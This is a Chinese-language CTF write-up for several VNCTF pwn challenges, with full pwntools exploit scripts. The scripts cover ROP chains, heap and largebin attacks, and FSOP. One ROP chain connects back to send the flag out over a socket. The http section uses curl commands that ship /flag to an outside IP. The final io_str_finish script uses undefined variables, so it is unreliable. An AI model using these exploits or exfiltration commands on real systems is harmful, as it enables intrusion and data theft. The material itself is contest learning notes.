0%

VNCTF

vnctf

clear_got

刚开始泄露libc地址算基地址猜版本号本地能打通,远程不行,看了wp发现用了csu,自己复现时发现call [r12+rbx*8]这段代码不好搞,wp也很巧妙,使用了bss上面的一个地址(能读的也只有bss段,是我疏忽了,思路挺好想到的),最后我的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level='debug'
sh=process('./pwn')
#sh=remote('node4.buuoj.cn',26251)
elf=ELF('./pwn')
def exp():
gdb.attach(sh,'b *0x400762')
sh.recvuntil('Welcome to VNCTF! This is a easy competition.///')
syscall_addr=0x000000000040077e
bss_addr=0x601000
gadget1=0x4007EA
gadget2=0x4007D0
payload='a'*0x68+p64(gadget1)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(0x600e40)#r12
payload+=p64(0x3b)#r13->rdx
payload+=p64(bss_addr)#r14->rsi
payload+=p64(0)#r15->edi
payload+=p64(gadget2)
payload+='a'*0x8
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(bss_addr+0x8)#r12
payload+=p64(0)#r13->rdx
payload+=p64(0)#r14->rsi
payload+=p64(bss_addr)#r15->edi
payload+=p64(syscall_addr)
payload+=p64(gadget2)
payload=payload.ljust(0x100,'\x00')
sh.send(payload)
m='/bin/sh\x00'+p64(syscall_addr)
m=m.ljust(0x3b,'\x00')
sleep(2)
sh.send(m)
sh.interactive()
exp()
#flag{0f3a2cff-55bb-4517-a7f9-d91daf946d32}

rop

tcp服务的模拟,他会检查上传的tcp报文的格式,传数据的时候得绕过这个检查,然后会把传上来的数据拷贝到栈上,造成了栈溢出,远程环境很容易崩,多试几次,这也是我比赛期间内唯一做出来的题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context.log_level='debug'
#sh=process('./pwn')
sh=remote('node4.buuoj.cn',28714)
elf=ELF('./pwn')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.31.so')
main_addr=0x401A5E
bss_addr=0x404000
'''
0x0000000000401bb3: pop rdi; ret;
0x0000000000401bb1: pop rsi; pop r15; ret;
0x000000000011c371: pop rdx; pop r12; ret;
x000000000004a550: pop rax; ret;
0x000000000011c371: pop rdx; pop r12; ret;
0x0000000000066229: syscall; ret;
0x0000000000032b5a: pop rsp; ret;
0x0000000000043ae8: pop rax; ret;
0x0000000000001b96: pop rdx; ret;
0x00000000000d2745: syscall; ret;
0x0000000000003960: pop rsp; ret;
'''

pop_rdi=0x0000000000401bb3
pop_rsi_r15=0x0000000000401bb1
def sumbit():
sh.sendlineafter('4. Quit.\n','3')

def free(idx):
sh.sendlineafter('4. Quit.\n','2')
sh.sendlineafter('Which?',str(idx))


def get_v5_again(v5,string):
i=len(string)
m=0
while(m<=i-2):
if m==16:
m+=2
continue
s=ord(string[m])+(ord(string[m+1])<<8)
v5=v5^s
m+=2
return v5

def tcp_context(v6,i,context):
sh.sendlineafter('4. Quit.\n','1')
tcp_message=p16(0x766e) #0
tcp_message+=p16(0x28b7) #2
tcp_message+=p32(v6) #4
tcp_message+=p32(1) #8
tcp_message+=p16(i) #12
tcp_message+=p16(1) #14
tcp_message+=p16(1) #16
tcp_message+=p16(0) #18
tcp_message+=p16(1) #20
tcp_message+=p16(0xffff)#22
tcp_message+=context
tcp_message=tcp_message.ljust(0x1000,'a')
v5=get_v5_again(0x140b,tcp_message)
print hex(v5)
real_tcp_message=''
for i in range(len(tcp_message)):
if i ==16:
real_tcp_message+=str(chr(v5&0xff))
continue
if i==17:
real_tcp_message+=str(chr((v5>>8)&0xff))
continue
real_tcp_message+=tcp_message[i]
sleep(7)
sh.send(real_tcp_message)

def exp():
#gdb.attach(sh,'b *0x401A5D')
v5=5131
tcp_context(1,6,'sss')
tcp_context(1+4096,6,'sss')
tcp_context(1+4096+4096,6,'sss')
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x68+8)+p64(pop_rsi_r15)+p64(write_got)*2+p64(write_plt)+p64(main_addr)
tcp_context(1+4096+4096+4096,6,payload)
sleep(8)
sumbit()
sleep(1)
sh.recvuntil('Done.\n')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['write']
print hex(libc_base)
pop_rdx_r12=libc_base+0x000000000011c371
pop_rax=libc_base+0x000000000004a550
syscall_addr=libc_base+0x0000000000066229
pop_rsp=libc_base+0x0000000000032b5a
free(3)
payload='a'*(0x68+8)+p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss_addr)*2
payload+=p64(pop_rdx_r12)+p64(0x300)*2+p64(syscall_addr)+p64(pop_rsp)+p64(bss_addr+0x10)
tcp_context(1+4096+4096+4096,6,payload)
sleep(8)
sumbit()
sleep(1)
sh.recvuntil('Done.\n')
payload='./flag'.ljust(0x10,'\x00')+p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(bss_addr)+p64(pop_rsi_r15)
payload+=p64(0)*2+p64(pop_rdx_r12)+p64(0)*2+p64(syscall_addr)+p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(3)
payload+=p64(pop_rsi_r15)+p64(bss_addr+0x200)*2+p64(pop_rdx_r12)+p64(0x30)*2+p64(syscall_addr)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss_addr+0x200)*2
payload+=p64(pop_rdx_r12)+p64(0x30)*2+p64(syscall_addr)
sleep(0.5)
sh.send(payload)
sleep(2)
print sh.recv()
sh.interactive()
exp()

冰墩墩

第一次遇见close(0);close(1);close(2),以为没啥,就普通的orw,结果发现自己的read根本写不上去,查了下才发现关闭了标准输入输出,所以无法再和程序交互,无法交互我一下就想起了侧信道,但是试过发现本地可以远程还是不行,咨询了学长才明白,远程关闭了标准输入输出流即远程题目的socket也就断了,所以无法判断程序的状态了,后来研究了学长的wp和官网wp稍微搞懂了一点。

思路

在远程使用socket(AF_INET, SOCK_STREAM, IPPROTO_IP)起一个socket客户端服务,然后使用connect连接我方服务器connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in)),然后write(socketfd,flag_addr.size),把flag传到我方服务器上面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import time
context.log_level='debug'
#sh = process(['./ld.so', './pwn'], env={"LD_PRELOAD":'./libc.so.6'})
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sh=remote('node4.buuoj.cn',27264)
'''
Dump of assembler code for function backDoor:
0x0000000000401349 <+0>: endbr64
0x000000000040134d <+4>: push rbp
0x000000000040134e <+5>: mov rbp,rsp
0x0000000000401351 <+8>: syscall
0x0000000000401353 <+10>: ret
0x0000000000401354 <+11>: pop rdx
0x0000000000401355 <+12>: ret
0x0000000000401356 <+13>: pop rdi
0x0000000000401357 <+14>: ret
0x0000000000401358 <+15>: pop rsi
0x0000000000401359 <+16>: ret
0x000000000040135a <+17>: pop rax
0x000000000040135b <+18>: ret
0x000000000040135c <+19>: push rax
0x000000000040135d <+20>: pop rcx
0x000000000040135e <+21>: ret
0x000000000040135f <+22>: mov rdi,rcx
0x0000000000401362 <+25>: ret
0x0000000000401363 <+26>: nop
0x0000000000401364 <+27>: pop rbp
0x0000000000401365 <+28>: ret
End of assembler dump.
0x0000000000401347: leave; ret;
0x0000000000401014: call rax;
0x000000000040116C jmp rax
'''
socket_addr=0x403700+0x1a0
flag_addr=0x403700+0x1b0
target=0x403700+0x1c0
#gdb.attach(sh,'b main')
def exp():
pop_rax=0x000000000040135a
pop_rdi=0x0000000000401356
pop_rsi=0x0000000000401358
pop_rdx=0x0000000000401354
syscall_ret=0x0000000000401351
leave_ret=0x0000000000401347
#open
payload='a'*0x10+p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(flag_addr)
payload+=p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(syscall_ret)
#read
payload+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(target)+p64(pop_rdx)
payload+=p64(0x30)+p64(syscall_ret)
#socket(2,1,0)
payload+=p64(pop_rax)+p64(41)+p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(1)+p64(pop_rdx)
payload+=p64(0)+p64(syscall_ret)
#connect(socketfd,server_addr,0x10)
payload+=p64(pop_rax)+p64(42)+p64(pop_rdi)
payload+=p64(1)+p64(pop_rsi)+p64(socket_addr)
payload+=p64(pop_rdx)+p64(0x10)+p64(syscall_ret)

#write
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(target)+p64(pop_rdx)+p64(0x30)
payload+=p64(syscall_ret)

payload=payload.ljust(0x1a0,'\x00')
#其中0100007f为127.0.0.1 e803 为03e8即1000,0002为AF_INET
payload+=p64(0x0100007f901f0002)+p64(0)
payload+='./flag'
payload=payload.ljust(0x200,'\x00')
sh.send(payload)

sh.interactive()
exp()

注意server_addr的格式,其中ip地址和端口号都得反着写。

http

第一看这么多的伪代码,看了一个下午才看明白,然后写脚本又花了很长时间,很麻烦,但也知道了很多东西。

难点

漏洞并不难以利用,但关键的是在茫茫码海中找见他,找见就很轻松了,漏洞主要来源于一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#得到elf_addr
if ( type == 102 )
{
if ( a5 > 0 )
continue;
memset(buf, 0, 0x800uLL);
if ( *(__int64 *)&s[7 * i + 2] <= 4 )
{
sprintf(
buf,
"Let us look. Oh! That is %p -> \"%s\".\n",
(&off_6140)[*(_QWORD *)&s[7 * i + 2]],
(&off_6140)[*(_QWORD *)&s[7 * i + 2]]);
v9 = strlen(buf);
send(acceptfd, buf, v9, 0);
continue;
}
#任意地址写
if ( type == 241 )
{
if ( a5 > 2 )
goto LABEL_36;
*(_QWORD *)(*(_QWORD *)&s[7 * i + 2] + *(_QWORD *)&s[7 * i + 4]) = *(_QWORD *)&s[7 * i + 6];
memset(buf, 0, 0x800uLL);
sprintf(buf, "All right.I know what you say.\n");
v11 = strlen(buf);
send(acceptfd, buf, v11, 0);
}

这是报文的目录的参数格式,在传参的时候需要base64编码(别问我怎么知道的),但是不能直接传编码后的字符串,得把后面的等号去掉才行(对比别人的wp发现的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct s{
int count;
uint32_t type;
uint64_t addr1;
uint64_t addr2;
uint64_t write_for_addr;
}
type==0xf1&&a5<=2:
*(addr1+addr2)=write_for_addr;
type==0x88&&a5<=1:
printf("%p",*(addr1+addr2))
type==0x66&&a5==0&&addr1<=4:
printf("%p->%s",(&off_6140[addr1]),(&off_6140[addr1]))
type==0x12&&addr1=='ping'&strlen(&addr2)<=0xf
show

然后利用上面代码的漏洞对got表发起攻击把strcmp改成system,但是注意不能system(“/bin/sh”),首先是shell的输入输出没有和socket绑定,其次当我们再次发送报文的时候会fork一个新进程来处理我们的报文,而不是发送给shell,所以需要反弹shell或者反弹flag,有很多反弹shell的命令但都没用,有两个反弹flag的命令能用。

1
2
system('curl 47.107.28.194/`cat flag`')
system('curl -X POST -F \"flag=@/flag\" 47.107.28.194:8080')

最后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
# ip='127.0.0.1'
# port=4000
ip='node4.buuoj.cn'
port=27718
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('./')
libc=ELF('./libc-2.31.so')
elf=ELF('./pwn')
sh=remote(ip,port)
payload1=p32(1)+p32(0x66)+p64(4)+p64(0)+p64(0)
payload1=base64.b64encode(payload1)
payload1=payload1.replace('=','')
url1='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n'.format(payload1)
print url1
sh.send(url1)
sh.recvuntil('Let us look. Oh! That is ')
elf_base=int(sh.recv(14),16)-0x4070
print hex(elf_base)
sh.close()
#


sh=remote(ip,port)
payload2=p32(1)+p32(0x88)+p64(elf_base)+p64(0x6070)+p64(0)
payload2=base64.b64encode(payload2)
payload2=payload2.replace('=','')
url2=url1='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n'.format(payload2)
sh.send(url2)
sh.recvuntil('OK! I give you some message!\nMessage: ')
printf_addr=int(sh.recv(14),16)
libc_base=printf_addr-libc.sym['printf']
print hex(printf_addr)
print hex(libc_base)
strcmp_got=elf_base+elf.got['strcmp']
system_addr=libc_base+libc.sym['system']
sh.close()
#


sh=remote(ip,port)
payload3=p32(2)+p32(241)+p64(strcmp_got)
payload3+=p64(0)+p64(system_addr)
payload3+=p32(0x22)+"curl 47.107.28.194/`cat flag`"
payload3=base64.b64encode(payload3)
payload3=payload3.replace('=','')
url3='GET /submit.cgi?{0} HTTP/1.0\r\n\r\n'.format(payload3)
sh.send(url3)

sh.recvuntil('All right.I know what you say')
sh.close()

总结

对pwn理解的更深了,说白了就是对指定的ip和端口发起socket连接,然后把sh.send的内容发送给这个端口的应用。

最近做题感觉漏洞利用简单,代码审计困难的题目越来越多。

FShuiMaster

存在off by null漏洞,但只能申请largebin的堆块,所以可以进行larginbinattack,然后largebin上申请到的堆块可以泄露libc地址,在堆上布置然后打io_list_all就行了,重点讲一下io_list_all,我的主要学习来源是ctfwiki,对io_list_all的攻击也叫作FSOP.

在讲解FSOP前先讲一讲io_file结构,之前在stdout泄露libc基地址的时候讲过,但不是很深入,这里再梳理一次

io_file是一组织io操作的文件结构体,当打开有io操作的设备时就会生成对应的io_file结构体,比如stdout,stdin,stderr,io_file代码如下

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

file主要是对设备io操作的一些信息,vtable是一个虚表,里面记录了很多的函数地址,在io操作的时候会拿vtable里的地址跳转执行,据ctfwiki所说,在libc2.23的情况的下可以直接修改io_file_plus的vtable地址,可以伪造一个vtable然后修改io_file_plus的vtable地址指向我们的伪造的vtable(任意地址写),然后对vtable的使用情况填上ogg或者system_addr,这种方法只适合在Libc2.23使用(在libc2.23下vtable表是不可以写入的,所以不能修改vtable里的内容)。

注意io_file file并不是一个指针而是给他实际分配了空间io_file_plus的完全体实际上是这样的,其中vtable相对于io_file_plus的偏移是0xd8。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
struct _IO_FILE_plus
{
struct _IO_FILE file{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
const struct _IO_jump_t *vtable;
};

程序打开了很多设备代表着有很多的io_file_plus结构体,这些结构体以链表进行组织,其中next域是file的_chain,这个链表是单链表,链表头记录在io_list_all中,其中一般的链表头的io_file_plus是stderr

上面说了libc2.24以后不能伪造vtable了,主要是因为当使用vtable的时候就会对vtable进行范围检查,vtable得在这个范围内,虽说限制了vtable,但也存在漏洞,这个范围内也有很多我们可以利用的虚表,比如io_str_jumps或io_wfile_jumps他们里面也全部记录着函数指针,我们可以把vtable指向这两个地方比如io_str_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};

其中_IO_str_overflow和IO_str_finish是我们主要利用的函数指针,_IO_str_overflow和IO_str_finish都存在相对地址调用,如_IO_str_overflow

_IO_str_overflow

new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);最后会调用fp+0xe0,然后参数是new_size,这个也是通过fp的内容计算出来的,下面是poc

1
2
3
4
5
6
7
8
9
10
11
_flags = 0
_IO_write_base = 0
_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1
_IO_buf_end = (binsh_in_libc_addr -100) / 2

_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_jumps
fp+0xe0=system

题目构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pay+=p64(0)*2
pay+= p64(0)*2
pay+= p64(0)
pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
pay+= p64(0)*2
pay+= p64((libc.search('/bin/sh').next()-100)/2)
pay+= p64(0)*12
pay+= p64(2)
pay+= p64(3)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360)
pay+= p64(libc.sym['system'])

只要fp这样构造然后调用_IO_str_overflow的时候最后就会执行system(‘/bin/sh’),现在问题是如何伪造io_file_plus以及如何执行_IO_str_overflow

上面提到过的,io_file_plus的头结点储存在io_list_all里面,所以可以覆盖io_list_all为我们可以控制的一段内存,比如堆,也就是说我们伪造了stferr的io_file_plus,然后在这段内存中构造上面的内容就好了。

函数IO_flush_all_lockp 会刷新所有文件流,内部会调用vtable+0x10的函数,当把vtable覆盖成io_str_jumps后vtable+0x10就是_IO_str_overflow函数地址,所以只要调用io_flush_all_lockp就好了,在程序main函数返回或者执行exit(0)或者执行abort时会调用io_flush_all_lockp函数,所以在fake_io_file_plus后触发io_flush_all_lockp就好了。

这是_IO_str_overflow的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
#sh=process('./pwn')
#sh= process(["./ld-2.27.so", "./pwn"], env={"LD_PRELOAD":"./libc-2.27.so"})
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
context.log_level='debug'
elf=ELF('./pwn')
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc=ELF('./libc-2.27.so')


sh.recvuntil('Please Write U Name on the Book\n\n')
sh.sendline('root')
def add(size,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('1')
sh.recvuntil('Number of words?')
sh.sendline(str(size))
sh.recvuntil('please input U character')
sh.send(content)

def edit(idx,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('2')
sh.recvuntil('please input the page U want 2 change')
sh.sendline(str(idx))
sh.recvuntil('Now Change U this page : ')
sh.send(content)

def free(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('3')
sh.recvuntil('please Input the page U want 2 tear off')
sh.sendline(str(idx))
sh.recvuntil('tear_off Finished\n')

def show(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('4')
sh.recvuntil('please Input The page U want 2 scan')
sh.sendline(str(idx))

def exp():
add(0x440,'a')#0
add(0x448,'a')#1
add(0x4f0,'a')#2
add(0x440,'a')#3
free(0)
edit(1,'a'*0x440+p64(0x8a0))
free(2)
add(0x440,'a')#4
show(1)
libc.address=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
add(0x448,'a')#5 ->1
add(0x4f0,'a')#6

add(0x440,'a')#7
add(0x448,flat({0x440:"\x01"}))#8
add(0x450,'a')#9
add(0x440,'a')#10
free(7)
free(9)
add(0x500,'a')#11
add(0x440,'a'*8)#12
show(12)
sh.recvuntil('a'*8)
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x1ce0
print hex(heap_base)
add(0x440,'a')#13
# free(1)
# io_list_all=libc_base+libc.sym['_IO_list_all']
# add(0x500,'a')#14
# edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
# free(13)
# add(0x500,'a')#15
add(0x440,'a')#14
add(0x458,'a')#15
add(0x4f0,'a')#16
add(0x500,'a')#17
free(14)
edit(15,'a'*0x450+p64(0x8b0))
free(16)
add(0x448,'a')#18
add(0x458,'a')#19->15
add(0x4f0,'a')#20
free(1)
add(0x500,'a')#21
io_list_all=libc.sym['_IO_list_all']
edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
free(15)
add(0x500,'a')#22
# payload='\x00'*0x10+p64(0)+p64(1)
# payload+=p64(2)+p64(binsh_addr)
# payload=payload.ljust(0xa8-0x10,'\x00')
# payload+=p64(2)+p64(3)+p64(0)+p64(0)
# payload=payload.ljust(0xc8,'\x00')
# payload+=p64(libc_base+0x3e8360-0x8)+p64(0)
# payload+=p64(libc_base+libc.sym['system'])
pay = ''
pay+= p64(0)*2
pay+= p64(0)
pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
pay+= p64(0)*2
pay+= p64((libc.search('/bin/sh').next()-100)/2)
pay+= p64(0)*12
pay+= p64(2)
pay+= p64(3)
pay+= p64(0)
pay+= p64(0xffffffff)
pay+= p64(0)*2
pay+= p64(libc.address+0x3e8360)
pay+= p64(libc.sym['system'])
edit(19,pay+'\n')
edit(18,'a'*0x440+p64(0))
gdb.attach(sh)
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('5')
sh.interactive()
exp()

io_str_finish

除了io_str_overflow以外io_str_finish这个函数指针也可以使用,也是通过io_flush_all_lockp函数这个函数调用的,只要让vtable=io_str_jumps-,这个函数调用的是fp+0xe8,在对应位置填上system_addr就行。然后fp的伪造也比io_str_overflow简单

1
2
3
4
5
6
fp->_mode = 0
fp->_IO_write_ptr = 0xffffffff
fp->_IO_write_base = 0
fp->_wide_data->_IO_buf_base = bin_sh_addr (也就是 fp->_IO_write_end)
fp->_flags2 = 0
fp->_mode = 0
1
2
3
4
5
6
payload=p64(0)*2
payload+='\x00'*0x10+p64(0)+p64(1)
payload+=p64(2)+p64(binsh_addr)
payload=payload.ljust(0xa8-0x10,'\x00')
payload+=p64(2)+p64(3)+p64(0)+p64(0)
payload+=p64(libc_base+libc.sym['system'])

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *

#sh=process('./pwn')
#sh= process(["./ld-2.27.so", "./pwn"], env={"LD_PRELOAD":"./libc-2.27.so"})
sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so', './pwn'], env={"LD_PRELOAD":'/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'})
context.log_level='debug'
elf=ELF('./pwn')
libc=ELF('/home/rootzhang/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
#libc=ELF('./libc-2.27.so')


sh.recvuntil('Please Write U Name on the Book\n\n')
sh.sendline('root')
def add(size,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('1')
sh.recvuntil('Number of words?')
sh.sendline(str(size))
sh.recvuntil('please input U character')
sh.send(content)

def edit(idx,content):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('2')
sh.recvuntil('please input the page U want 2 change')
sh.sendline(str(idx))
sh.recvuntil('Now Change U this page : ')
sh.send(content)

def free(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('3')
sh.recvuntil('please Input the page U want 2 tear off')
sh.sendline(str(idx))
sh.recvuntil('tear_off Finished\n')

def show(idx):
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('4')
sh.recvuntil('please Input The page U want 2 scan')
sh.sendline(str(idx))

def exp():
add(0x440,'a')#0
add(0x448,'a')#1
add(0x4f0,'a')#2
add(0x440,'a')#3
free(0)
edit(1,'a'*0x440+p64(0x8a0))
free(2)
add(0x440,'a')#4
show(1)
libc.address=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
add(0x448,'a')#5 ->1
add(0x4f0,'a')#6

add(0x440,'a')#7
add(0x448,flat({0x440:"\x01"}))#8
add(0x450,'a')#9
add(0x440,'a')#10
free(7)
free(9)
add(0x500,'a')#11
add(0x440,'a'*8)#12
show(12)
sh.recvuntil('a'*8)
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x1ce0
print hex(heap_base)
add(0x440,'a')#13
# free(1)
# io_list_all=libc_base+libc.sym['_IO_list_all']
# add(0x500,'a')#14
# edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
# free(13)
# add(0x500,'a')#15
add(0x440,'a')#14
add(0x458,'a')#15
add(0x4f0,'a')#16
add(0x500,'a')#17
free(14)
edit(15,'a'*0x450+p64(0x8b0))
free(16)
add(0x448,'a')#18
add(0x458,'a')#19->15
add(0x4f0,'a')#20
free(1)
add(0x500,'a')#21
io_list_all=libc.sym['_IO_list_all']
edit(5,p64(0)+p64(io_list_all-0x10)+'\n')
free(15)
add(0x500,'a')#22
payload='\x00'*0x10+p64(0)+p64(1)
payload+=p64(2)+p64(binsh_addr)
payload=payload.ljust(0xa8-0x10,'\x00')
payload+=p64(2)+p64(3)+p64(0)+p64(0)
payload=payload.ljust(0xc8,'\x00')
payload+=p64(libc_base+0x3e8360-0x8)+p64(0)
payload+=p64(libc_base+libc.sym['system'])
# pay = ''
# pay+= p64(0)*2
# pay+= p64(0)
# pay+= p64((libc.search('/bin/sh').next()-100)/2+1)
# pay+= p64(0)*2
# pay+= p64((libc.search('/bin/sh').next()-100)/2)
# pay+= p64(0)*12
# pay+= p64(2)
# pay+= p64(3)
# pay+= p64(0)
# pay+= p64(0xffffffff)
# pay+= p64(0)*2
# pay+= p64(libc.address+0x3e8360)
# pay+= p64(libc.sym['system'])
edit(19,payload+'\n')
edit(18,'a'*0x440+p64(0))
gdb.attach(sh)
sh.recvuntil('Five: Finished!\n\n')
sh.sendline('5')
sh.interactive()
exp()